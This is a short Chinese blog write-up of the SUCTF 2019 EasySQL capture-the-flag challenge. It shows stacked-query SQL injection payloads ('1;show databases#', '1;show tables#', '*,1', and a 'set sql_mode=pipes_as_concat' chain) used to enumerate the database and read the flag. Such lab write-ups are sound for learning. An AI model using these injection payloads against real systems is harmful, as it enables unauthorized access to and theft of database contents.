[SUCTF 2019]EasySQL 1

[SUCTF 2019]EasySQL 1

审题

判断SQL

知识点

SQL注入

解题

  1. 堆叠查询

输入1',1",1

发现1有回显

image-20240112152209365

开始爆库

1;show databases#

然后,爆表

1;show tables#

image-20240112152548440

看到flag,想爆列的,但是select啥的都没用。

看了WP后发现大佬们的思路太强了

  1. 猜测sql语句为:select []||flag from Flag;

    直接输入*,1得到flag

    1. 输入1;set sql_mode=pipes_as_concat;select 1
      使|| 符号失效
      将sql_mode()函数设置成pipes_as_concat时,||的作用由or变为拼接字符串
      select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
      拼接完:
      select 1
      set sql_mode=pipes_as_concat
      select 1||flag from Flag

参考博客

[SUCTF 2019]EasySQL 1 - Junglezt - 博客园

posted @   follycat  阅读(337)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示